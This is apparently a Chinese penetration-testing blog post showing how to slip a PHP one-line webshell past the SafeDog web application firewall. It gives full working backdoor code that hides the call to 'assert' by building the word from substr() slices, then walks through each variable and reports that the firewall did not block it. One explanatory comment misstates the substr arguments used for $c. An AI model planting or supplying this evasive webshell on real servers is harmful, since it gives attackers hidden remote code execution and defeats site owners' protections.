环境:php+mysql+apche 安全狗:apache版本+8.10规则库 即刻安全 即刻安全纯技术交流群:307283889 如需转载,请联系本博主声明,私自转载必追究
Prat 1
在bypass小分队中V@1n3R表哥提到他明天会分享过waf的一句话 爱搞事的我当然不能只做伸手党,于是决定也分享一些出来,可是发现许久没有做渗透测试了 手里并没有过waf的一句话了,没办法只好临时刚几个出来
思路构思以及实现
本次bypass需要用的一个函数:
substr() //用于返回字符串的一部分。其实这个想法很早就有了,不过好像也有大佬有成品,不过我没看见过(可能是很久没接触渗透测试了) 于是今天晚上就试了一下 其实不管怎么绕过,一句话最终还是:assert($_POST['x']);所谓的绕过无非就是把这一段进行处理让他达到一个过waf的效果
Prat 2
巧用substr函数绕过安全狗
思路成品:
<?php $a = substr("abcdefghijklmnopqrstufwxyz",0,1); $b = substr("abcdefghijklmnopqrstufwxyz",17,3); $c = substr("abcdefghijklmnopqrstufwxyz",3,2); $ss = $a.$b.$c; $d = $ss[0].$ss[2].$ss[2]; //ass $dd = $ss[5].$ss[1].$ss[3]; //ert $x = $d.$dd; $x($_POST['x']); ?>这里主要关注这两行
$d = $ss[0].$ss[2].$ss[2]; //ass $dd = $ss[5].$ss[1].$ss[3]; //ert $x = $d.$dd;上面说了,一句话最终结果还是assert($_POST[‘x’]); 所以这里的$x肯定是assert
输出一下就知道。
如图:
![]()
可以看见echo 出来了assert
那么他是如何得到assert的呢,我们来看一下$x = $d.$dd;可以发现,$x通过$d跟$dd拼接得到的
$d跟$dd是通过截取$ss的字符串得到的
我们分别来输出一下每一个变量获取到的字符串
可以发现
$a = a //从字符串的第0个字符开始截取,向右截取1个字符 $b = rst //从字符串的第17个字符开始截取,向右截取3个字符 $c = de //从字符串的第17个字符开始截取,向右截取3个字符 $ss = arstde //为三个变量的拼接的来$d = ass //分别截取$ss的第0,2,2字符 $dd = ert //分别截取$ss的第5,1,3字符 最后拼接成assert看一下是否能过狗
![]()
完美过狗,并没有拦截